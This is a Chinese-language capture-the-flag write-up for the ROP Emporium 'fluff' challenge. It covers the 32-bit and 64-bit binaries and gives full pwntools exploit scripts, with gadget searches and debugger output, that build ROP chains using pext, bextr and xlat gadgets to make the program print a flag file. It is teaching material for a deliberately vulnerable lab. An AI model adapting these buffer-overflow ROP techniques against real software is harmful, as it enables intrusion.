-
-
[原创]writeup-ROP Emporium fluff
-
2022-3-26 12:37 14390
-
ROP Emporium的题曾经在2020年7月有过更新。比如,大多题目去掉了system函数,不能再获取shell,而是通过so中的print_file来获取flag;一些题目rop链可利用的指令也变了,更有挑战性,比如fluff 这道题。
当然有很多没变的,比如溢出点,32位程序偏移44字节,64位程序偏移40字节。
1. fluff32
信息收集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | $ file fluff32 fluff32: ELF 32 - bit LSB executable, Intel 80386 , version 1 (SYSV), dynamically linked, interpreter / lib / ld - linux.so. 2 , for GNU / Linux 3.2 . 0 , BuildID[sha1] = 6da69ceae0128f63bb7160ba66f9189a126fdd86 , not stripped $ ldd fluff32 linux - gate.so. 1 ( 0xf7f11000 ) libfluff32.so = > . / libfluff32.so ( 0xf7f09000 ) libc.so. 6 = > / lib / i386 - linux - gnu / libc.so. 6 ( 0xf7d16000 ) / lib / ld - linux.so. 2 ( 0xf7f12000 ) $ checksec libfluff32.so [ * ] '/home/starr/Documents/CProject/pwn/libfluff32.so' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled $ readelf - S fluff32 | grep .data [ 16 ] .rodata PROGBITS 080485d8 0005d8 000014 00 A 0 0 4 [ 24 ] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 |
黑盒测试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | $ ulimit - c unlimited $ sudo bash - c 'echo %e.core.%p > /proc/sys/kernel/core_pattern' $ cyclic 200 > cyclic.txt $ . / fluff32 < cyclic.txt fluff by ROP Emporium x86 You know changing these strings means I have to rewrite my solutions... > Thank you! Segmentation fault (core dumped) $ gdb . / fluff32 fluff32.core. 9153 ... Core was generated by `. / fluff32'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x6161616c in ?? () pwndbg> cyclic - l 0x6161616c 44 |
溢出点偏移44字节。
反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | $ objdump - d - M intel fluff32 080483b0 <pwnme@plt>: 080483d0 <print_file@plt>: 08048506 <main>: 8048506 : 8d 4c 24 04 lea ecx,[esp + 0x4 ] 804850a : 83 e4 f0 and esp, 0xfffffff0 ... 8048514 : 83 ec 04 sub esp, 0x4 8048517 : e8 94 fe ff ff call 80483b0 <pwnme@plt> ... 0804852a <usefulFunction>: 804852a : 55 push ebp 804852b : 89 e5 mov ebp,esp 804852d : 83 ec 08 sub esp, 0x8 8048530 : 83 ec 0c sub esp, 0xc 8048533 : 68 e0 85 04 08 push 0x80485e0 8048538 : e8 93 fe ff ff call 80483d0 <print_file@plt> ... 08048543 <questionableGadgets>: 8048543 : 89 e8 mov eax,ebp 8048545 : bb ba ba ba b0 mov ebx, 0xb0bababa 804854a : c4 e2 62 f5 d0 pext edx,ebx,eax 804854f : b8 ef be ad de mov eax, 0xdeadbeef 8048554 : c3 ret 8048555 : 86 11 xchg BYTE PTR [ecx],dl 8048557 : c3 ret 8048558 : 59 pop ecx 8048559 : 0f c9 bswap ecx 804855b : c3 ret $ objdump - d - M intel libfluff32.so 0000069d <pwnme>: ... 6ed : 6a 20 push 0x20 6ef : 6a 00 push 0x0 6f1 : 8d 45 d8 lea eax,[ebp - 0x28 ] 6f4 : 50 push eax 6f5 : e8 86 fe ff ff call 580 <memset@plt> ... 724 : 68 00 02 00 00 push 0x200 729 : 8d 45 d8 lea eax,[ebp - 0x28 ] 72c : 50 push eax 72d : 6a 00 push 0x0 72f : e8 cc fd ff ff call 500 <read@plt> ... 0000074f <print_file>: ... 772 : ff 75 08 push DWORD PTR [ebp + 0x8 ] 775 : e8 f6 fd ff ff call 570 <fopen@plt> ... |
ROP chain
乍一看这一题和write4那道题差不多,想着把”flag.txt“写进.data,但搜一下mov gadget的话,并没有以可控内存地址为目标的mov指令。
1 2 3 4 5 6 7 8 9 10 | pwndbg> rop - - grep "mov" ... 0x080484e7 : mov al, byte ptr [ 0xc9010804 ] ; ret 0x0804846d : mov al, byte ptr [ 0xd0ff0804 ] ; add esp, 0x10 ; leave ; ret 0x080484ba : mov al, byte ptr [ 0xd2ff0804 ] ; add esp, 0x10 ; leave ; ret 0x080484e4 : mov byte ptr [ 0x804a020 ], 1 ; leave ; ret 0x0804854f : mov eax, 0xdeadbeef ; ret 0x08048423 : mov ebx, dword ptr [esp] ; ret 0x0804837d : mov edi, 0x81000000 ; ret 0x0804847a : mov esp, 0x27 ; add bl, dh ; ret |
先搜下pop吧:
1 2 3 4 5 6 7 8 9 10 11 | pwndbg> rop - - grep "pop" ... 0x08048525 : pop ebp ; lea esp, [ecx - 4 ] ; ret 0x080485bb : pop ebp ; ret 0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08048399 : pop ebx ; ret 0x08048558 : pop ecx ; bswap ecx ; ret 0x08048524 : pop ecx ; pop ebp ; lea esp, [ecx - 4 ] ; ret 0x080485ba : pop edi ; pop ebp ; ret 0x080485b9 : pop esi ; pop edi ; pop ebp ; ret 0x08048527 : popal ; cld ; ret |
然后考虑怎么写字符串的问题。
其实除了mov还有很多指令可以利用,比如作者在questionableGadgets提供的xchg指令。
1 2 3 4 | pwndbg> rop - - grep "xchg" 0x08048553 : faddp st( 3 ) ; xchg byte ptr [ecx], dl ; ret 0x08048552 : lodsd eax, dword ptr [esi] ; faddp st( 3 ) ; xchg byte ptr [ecx], dl ; ret 0x08048555 : xchg byte ptr [ecx], dl ; ret |
0x08048555这条xchg指令交换了内存和寄存器的一个字节,可以代替mov指令。但要想成功利用,需要能够控制ecx和edx寄存器,让ecx存储.data段地址,edx存储字符串的字符。
刚刚搜索的pop gadget中,有一个pop ecx, 紧跟另一个指令BSWAP(Byte Swap),这个指令可以更改字节序,比如eax==0x11223344, 执行BSWAP eax
后,eax就变成0x44332211。那么我们可以让pop ecx按照大端序存储.data的地址。 其实这个指令也是作者在questionableGadgets提供的~
Intel文档截图:
最后要考虑怎么控制edx。在questionableGadgets的开头,mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax
可以修改edx。
不过我用上面的rop, 以及 ropgadget, 都没有搜到这一段。。。尴尬了
PEXT ( Parallel Bits Extract)这条指令根据掩码(第二个源操作数),将源寄存器中对应的bit放到目标寄存器中的低位,比如:
1 2 3 4 5 6 | pext output(edx), source(ebx), mask(eax) output = pext(source, mask) ebx = 0xFFFFFFFF eax = b1111 0100 - > edx = 0x1F |
Intel文档截图:
刚刚搜索的pop gadget里,0x080485bb有pop ebp
指令,然后需要写个脚本,求出正确的掩码(mov eax, ebp),满足以下条件:
1 2 | "flag" = = pext( 0xb0bababa , mask) ".txt" = = pext( 0xb0bababa , mask) |
用位运算实现下面这段求解掩码的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | def getMask(nValue, nOutput): # nOutput = pext(nValue, nMask) # eg. # nValue = 0xFF # nMask = 0xF4 # -> # nOutput = 0x1F nMask = 0 ; nLastBitFoundInValue = 1 ; # find the highest valid bit nInvalidBits = 0 ; for i in range ( 7 ): # ascii if (nOutput & ( 1 << i)) ! = 0 : nInvalidBits = i for i in range (nInvalidBits + 1 ): while (nOutput & 1 ) ! = (nValue & 1 ): nLastBitFoundInValue + = 1 ; if nLastBitFoundInValue = = 33 : # 4 Bytes return False ; nValue = nValue >> 1 # found nOutput = nOutput >> 1 nValue = nValue >> 1 nMask | = 1 << (nLastBitFoundInValue - 1 ) nLastBitFoundInValue + = 1 return nMask strEdx = "flag.txt" nValue = 0xb0bababa for c in strEdx: nMask = getMask(nValue, ord (c)) # print(hex(nMask)) |
最终的ROP链:
1 2 3 4 5 6 7 8 9 10 11 12 13 | padding len 44 for i in range ( len ( "flag.txt" )) pGadgetPopEcx_bswap # 0x08048558 : pop ecx ; bswap ecx ; ret pDataSection + i # Big Endian pop to ecx pGadgetPopEbp # 0x080485bb : pop ebp ; ret nMask # getMask("flag.txt"[i]) pop to ebp pGadgetPext # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax pGadgetXchg # 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data pPltPrintFile # 0x080483d0 padding # 伪造的返回地址 pDataSection |
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 | from pwn import * context.arch = "i386" context.bits = 32 context.os = "linux" context.log_level = 'debug' def getio(program): io = process(program) # io = gdb.debug([program], "b main") return io; def getMask(nValue, nOutput): # nOutput = pext(nValue, nMask) # eg. # nValue = 0xFF # nMask = 0xF4 # -> # nOutput = 0x1F nMask = 0 ; nLastBitFoundInValue = 1 ; # find the highest valid bit nInvalidBits = 0 ; for i in range ( 7 ): # ascii if (nOutput & ( 1 << i)) ! = 0 : nInvalidBits = i for i in range (nInvalidBits + 1 ): while (nOutput & 1 ) ! = (nValue & 1 ): nLastBitFoundInValue + = 1 ; if nLastBitFoundInValue = = 33 : # 4 Bytes return False ; nValue = nValue >> 1 # found nOutput = nOutput >> 1 nValue = nValue >> 1 nMask | = 1 << (nLastBitFoundInValue - 1 ) nLastBitFoundInValue + = 1 return nMask nBufOverflowIndex = 44 pPltPrintFile = 0x080483d0 pDataSection = 0x0804a018 pGadgetPopEcx_bswap = 0x08048558 # pop ecx ; bswap ecx ; ret pGadgetPopEbp = 0x080485bb # pop ebp ; ret pGadgetPext = 0x08048543 # mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax pGadgetXchg = 0x08048555 # xchg byte ptr [ecx], dl ; ret 把字符写入.data # 1. padding payload = bytes( "A" * nBufOverflowIndex, encoding = "ascii" ); # 2. Loop strEdx = "flag.txt" nValue = 0xb0bababa for i in range ( len (strEdx)): nMask = getMask(nValue, ord (strEdx[i])) # print(hex(nMask)) # 2.1 write .data addr into ecx payload + = p32(pGadgetPopEcx_bswap) # 0x08048558 : pop ecx ; bswap ecx ; ret payload + = p32(pDataSection + i, endianness = "big" ) # Big Endian pop to ecx # 2.2 write nMask into ebp payload + = p32(pGadgetPopEbp) # 0x080485bb : pop ebp ; ret payload + = p32(nMask) # getMask("flag.txt"[i]) pop to ebp payload + = p32(pGadgetPext) # 0x08048543 : mov eax,ebp;mov ebx,0xb0bababa; pext edx,ebx,eax # 2.3 write "flag.txt" into .data payload + = p32(pGadgetXchg) # 0x08048555 : xchg byte ptr [ecx], dl ; ret 把字符写入.data # 3. print_file("flag.txt") payload + = p32(pPltPrintFile) # 0x080483d0 payload + = bytes( "B" * int (context.bits / 8 ), encoding = "ascii" ); # 伪造的返回地址 payload + = p32(pDataSection) io = getio( "./fluff32" ) io.recvuntil( ">" ) # # gdb.attach(io) # # pause() io.sendline(payload) print (io.recv(timeout = 10 )) io.interactive() # [DEBUG] Received 0x2c bytes: # b'Thank you!\n' # b'ROPE{a_placeholder_32byte_flag!}\n' # Thank you! # ROPE{a_placeholder_32byte_flag!} |
2. fluff
64位版本
信息收集
记录一下.data段的地址:
1 2 3 | $ readelf - S fluff | grep .data [ 15 ] .rodata PROGBITS 00000000004006c0 000006c0 [ 23 ] .data PROGBITS 0000000000601028 00001028 |
反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | $ objdump - d - M intel libfluff.so 00000000000008aa <pwnme>: ... 8eb : 48 8d 45 e0 lea rax,[rbp - 0x20 ] 8ef : ba 20 00 00 00 mov edx, 0x20 8f4 : be 00 00 00 00 mov esi, 0x0 8f9 : 48 89 c7 mov rdi,rax 8fc : e8 5f fe ff ff call 760 <memset@plt> ... 91e : 48 8d 45 e0 lea rax,[rbp - 0x20 ] 922 : ba 00 02 00 00 mov edx, 0x200 927 : 48 89 c6 mov rsi,rax 92a : bf 00 00 00 00 mov edi, 0x0 92f : e8 3c fe ff ff call 770 <read@plt> read(stdin, rbp - 0x20 , 0x200 ) ... 0000000000000943 <print_file>: 943 : 55 push rbp 944 : 48 89 e5 mov rbp,rsp 947 : 48 83 ec 40 sub rsp, 0x40 94b : 48 89 7d c8 mov QWORD PTR [rbp - 0x38 ],rdi 94f : 48 c7 45 f8 00 00 00 mov QWORD PTR [rbp - 0x8 ], 0x0 956 : 00 957 : 48 8b 45 c8 mov rax,QWORD PTR [rbp - 0x38 ] 95b : 48 8d 35 f4 00 00 00 lea rsi,[rip + 0xf4 ] # a56 <_fini+0x86> 962 : 48 89 c7 mov rdi,rax 965 : e8 36 fe ff ff call 7a0 <fopen@plt> ... $ objdump - d - M intel fluff 0000000000400500 <pwnme@plt>: ... 0000000000400510 <print_file@plt>: ... 0000000000400607 <main>: ... 40060b : e8 f0 fe ff ff call 400500 <pwnme@plt> 0000000000400617 <usefulFunction>: ... 40061b : bf c4 06 40 00 mov edi, 0x4006c4 400620 : e8 eb fe ff ff call 400510 <print_file@plt> 0000000000400628 <questionableGadgets>: 400628 : d7 xlat BYTE PTR ds:[rbx] 400629 : c3 ret 40062a : 5a pop rdx 40062b : 59 pop rcx 40062c : 48 81 c1 f2 3e 00 00 add rcx, 0x3ef2 400633 : c4 e2 e8 f7 d9 bextr rbx,rcx,rdx 400638 : c3 ret 400639 : aa stos BYTE PTR es:[rdi],al 40063a : c3 ret 40063b : 0f 1f 44 00 00 nop DWORD PTR [rax + rax * 1 + 0x0 ] |
ROP chain
直接参考questionableGadgets吧,手动搜的话脑洞实在没有那么大~
首先注意到0x400639处的stos指令,它会逐字节地把al拷进rdi指向的内存,而且rdi自动递增。
通过搜索pop很容易找到pop rdi的指令,但是没有pop rax指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 | pwndbg> rop - - grep "pop" ... 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040069e : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006a0 : pop r14 ; pop r15 ; ret 0x00000000004006a2 : pop r15 ; ret 0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax 0x000000000040069b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040069f : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400588 : pop rbp ; ret 0x00000000004006a3 : pop rdi ; ret 0x00000000004006a1 : pop rsi ; pop r15 ; ret 0x000000000040069d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret |
作者在questionableGadgets开头准备了xlat(Table Look-up Translation)指令来控制al:
其实就是把rbx看成数组取值:
1 | al = byte ptr [rbx + al] |
但又要控制al,好像死循环了,,,先忽略al,看看有没有办法操作rbx。
刚刚的rop工具又没有把usefulGadget提供的40062a处的pop rdx指令找出来,郁闷,,,这里有非常重要的BEXTR(Bit Filed Extract)指令,它可以改变rbx的值:
1 | 0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2 ; bextr rbx, rcx, rdx; ret; |
该指令和pext指令一样也有两个源操作数,可以从第一个源操作数中提取bits,第二个源操作数指定偏移和长度,举个例子:
1 2 3 4 5 6 7 8 | bextr output, 0xd23aacda , 0x59 Input : 11010010001110101010110011011010 = 0xd23aacda | - - - - - - - | \ \ v | - - - - - - - | Output: 00000000000000000000000101100110 = 0x00000166 |
我们需要利用bextr这个gadget使rbx存储”flag.txt“各个字节的地址,进而用xlat gadget使al存储各个字节。
flag.txt各个字符,可以在elf文件中找,而不是由栈中的payload提供。
梳理一下目前的rop链:
1 2 3 4 5 6 7 8 9 10 | 0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2 ; bextr rbx, rcx, rdx; ret; 满足[rbx + al]这个地址存有目标字符,可以实现一个SetRbxToAddr函数 rdx rcx 0x400628 : xlat BYTE PTR ds:[rbx]; ret al保存目标字节,比如 "f" , 可以实现一个SetAlToByte函数 0x00000000004006a3 : pop rdi ; ret 0x0000000000601028 .data地址 400639 : stos BYTE PTR es:[rdi],al 往.data逐字节写入字符串 "flag.txt" rdi可以自动递增 |
调试分析
再回到al的问题,其实执行xlat时,只有al的初始值是不确定的,于是用脚本调试确认一下,同时试着搜索f:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | # coding:utf-8 from pwn import * context.arch = "amd64" context.bits = 64 context.os = "linux" def getio(program): io = process(program) # io = gdb.debug([program], "b main") return io; nBufOverflowIndex = 0x28 pPltPrintFile = 0x0000000000400510 pGadgetBextrToSetRbx = 0x40062a pGadgetXlatToSetAl = 0x400628 pGadgetPopRdi = 0x00000000004006a3 pGadgetStos = 0x400639 pDataSection = 0x0000000000601028 g_byAlWhenFirstXlat = 0x00 # 和xlat指令有关,这里需要调试一下,看当时的al值为多少 def setRbxToAddr(pTargetAddr, rop): rdx = (( 2 * * 6 )<< 8 ) | 0x00 # rcx: start 0, len 64 rcx = pTargetAddr rop.raw(pGadgetBextrToSetRbx) rop.raw(rdx) rop.raw(rcx - 0x3ef2 ) # add rcx, 0x3ef2; def setAlToByte(byTarget, rop, elf, byRealTimeAl): pTargetByteAddr = next (elf.search(byTarget)) pTargetRbx = pTargetByteAddr - byRealTimeAl setRbxToAddr(pTargetRbx, rop) rop.raw(pGadgetXlatToSetAl) # xlat BYTE PTR ds:[rbx]; --> al = [rbx+al] program = "./fluff" io = getio(program) elf = ELF(program) rop = ROP(program) padding = b "A" * nBufOverflowIndex rop.raw(pGadgetPopRdi) rop.raw(pDataSection) strFlagTxt = "flag.txt" byRealTimeAl = g_byAlWhenFirstXlat c = strFlagTxt[ 0 ] setAlToByte(c, rop, elf, byRealTimeAl) payload = b"".join([ padding, rop.chain() ]) io.recvuntil( ">" ) gdb.attach(io) pause() io.sendline(payload) print (io.recv(timeout = 10 )) io.interactive() |
执行到xlatb时,AL初始值是0xb,而后续的al,其实就是”flag.txt“的各个字符,搜索前实时更新一下即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | RAX 0xb !!!!!!!!!!!!!!!!!!!!!! RBX 0x0 RCX 0x0 RDX 0x0 RDI 0x1 RSI 0x7f4c211f17e3 (_IO_2_1_stdout_ + 131 ) ◂— 0x1f28c0000000000a / * '\n' * / R8 0xa R9 0x7f4c21605740 ◂— 0x7f4c21605740 R10 0x4 R11 0x246 R12 0x400520 (_start) ◂— xor ebp, ebp R13 0x7ffde43196a0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x4141414141414141 ( 'AAAAAAAA' ) * RSP 0x7ffde43195d8 —▸ 0x7ffde431960a ◂— 0x7ffde431 * RIP 0x400628 (questionableGadgets) ◂— xlatb ─────────[ DISASM ]─────────────── 0x40062a <questionableGadgets + 2 > pop rdx 0x40062b <questionableGadgets + 3 > pop rcx 0x40062c <questionableGadgets + 4 > add rcx, 0x3ef2 0x400633 <questionableGadgets + 11 > bextr rbx, rcx, rdx 0x400638 <questionableGadgets + 16 > ret ↓ ► 0x400628 <questionableGadgets> xlatb 0x400629 <questionableGadgets + 1 > ret |
执行xlatb指令后,gdb里验证一下, rax==‘f' , 即0x66,所以搜索逻辑也没问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 | * RAX 0x66 !!!!!!!!!!!!!!!!!!!!!! RBX 0x4003b9 ◂— add byte ptr [rax], al RCX 0x4003b9 ◂— add byte ptr [rax], al RDX 0x4000 ... ─────────────────────────────[ DISASM ]───────────────────── 0x40062b <questionableGadgets + 3 > pop rcx 0x40062c <questionableGadgets + 4 > add rcx, 0x3ef2 0x400633 <questionableGadgets + 11 > bextr rbx, rcx, rdx 0x400638 <questionableGadgets + 16 > ret ↓ 0x400628 <questionableGadgets> xlatb ► 0x400629 <questionableGadgets + 1 > ret < 0x7ffc3bdc900a > |
再次梳理一下rop链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | padding 溢出点 0x28 字节 pGadgetPopRdi 0x00000000004006a3 pop rdi ; ret rdi后面用不到,在循环之前就存好.data section地址 pDataSection for c in "flag.txt" : pGadgetBextrToSetRbx 0x40062a : pop rdx; pop rcx; add rcx, 0x3ef2 ; bextr rbx, rcx, rdx; ret; 满足[rbx + al] = = c,可以实现一个SetRbxToAddr函数 rdx bextr命令的掩码 rcx c的地址 - 0x3ef2 pGadgetXlatToSetAl 0x400628 : xlat BYTE PTR ds:[rbx]; ret al保存目标字节c。可以实现一个SetAlToByte函数。注意payload里的al要实时更新 pGadgetStos 400639 : stos BYTE PTR es:[rdi],al 往.data逐字节写入字符串 "flag.txt" rdi可以自动递增 pGadgetPopRdi pDataSection pPltPrintFile 0x0000000000400510 print_file( "flag.txt" ) |
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 | # coding:utf-8 from pwn import * context.arch = "amd64" context.bits = 64 context.os = "linux" def getio(program): io = process(program) # io = gdb.debug([program], "b main") return io; nBufOverflowIndex = 0x28 pPltPrintFile = 0x0000000000400510 pGadgetBextrToSetRbx = 0x40062a # pop rdx; # pop rcx; # add rcx, 0x3ef2; # bextr rbx, rcx, rdx; # ret; # 满足[rbx+al]这个地址存有目标字符,可以用SetRbxToAddr函数实现 pGadgetXlatToSetAl = 0x400628 # xlat BYTE PTR ds:[rbx]; --> al = [rbx+al] # al保存目标字节,比如"f", 可以用SetAlToByte函数实现 pGadgetPopRdi = 0x00000000004006a3 # pop rdi ; ret pGadgetStos = 0x400639 # stos BYTE PTR es:[rdi],al 往.data逐字节写入字符串"flag.txt" pDataSection = 0x0000000000601028 # .data地址 g_byRealTimeAlWhenFirstXlat = 0xb # 和xlat指令有关这里需要调试一下,看当时的al值为多少 def setRbxToAddr(pTargetAddr, rop): rdx = (( 2 * * 6 )<< 8 ) | 0x00 # rcx: start 0, len 64 rcx = pTargetAddr rop.raw(pGadgetBextrToSetRbx) rop.raw(rdx) rop.raw(rcx - 0x3ef2 ) # add rcx, 0x3ef2; def setAlToByte(byTarget, rop, elf, byRealTimeAl): # 2.1 set rbx to addr pTargetByteAddr = next (elf.search(byTarget)) pTargetRbx = pTargetByteAddr - byRealTimeAl setRbxToAddr(pTargetRbx, rop) # 2.2 set al to the byte of "flag.txt" rop.raw(pGadgetXlatToSetAl) # xlat BYTE PTR ds:[rbx]; --> al = [rbx+al] program = "./fluff" io = getio(program) elf = ELF(program) rop = ROP(program) # 1. buf overflow padding = b "A" * nBufOverflowIndex # 2. write "flag.txt" into .data section # 2.1 rdi not used later rop.raw(pGadgetPopRdi) rop.raw(pDataSection) strFlagTxt = "flag.txt" byRealTimeAl = g_byRealTimeAlWhenFirstXlat # al的初始值 for c in strFlagTxt: setAlToByte(c, rop, elf, byRealTimeAl) byRealTimeAl = ord (c) # 更新al rop.raw(pGadgetStos) # 4. print_file("flag.txt") rop.raw(pGadgetPopRdi) rop.raw(pDataSection) rop.raw(pPltPrintFile) payload = b"".join([ padding, rop.chain() ]) io.recvuntil( ">" ) # gdb.attach(io) # pause() io.sendline(payload) print (io.recv(timeout = 10 )) io.interactive() # Thank you! # ROPE{a_placeholder_32byte_flag!} |
3. 参考资料
ROP Emporium 2020 fluff 32bit :: mishap — infosec is just finding mishaps
PEXT — Parallel Bits Extract (felixcloutier.com)
assembly - How does the BEXTR instruction in x86 work - Stack Overflow
ROP Emporium - Fluff (x64) - blog.r0kithax.com
BEXTR — Bit Field Extract (felixcloutier.com)
XLAT/XLATB — Table Look-up Translation (felixcloutier.com)
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。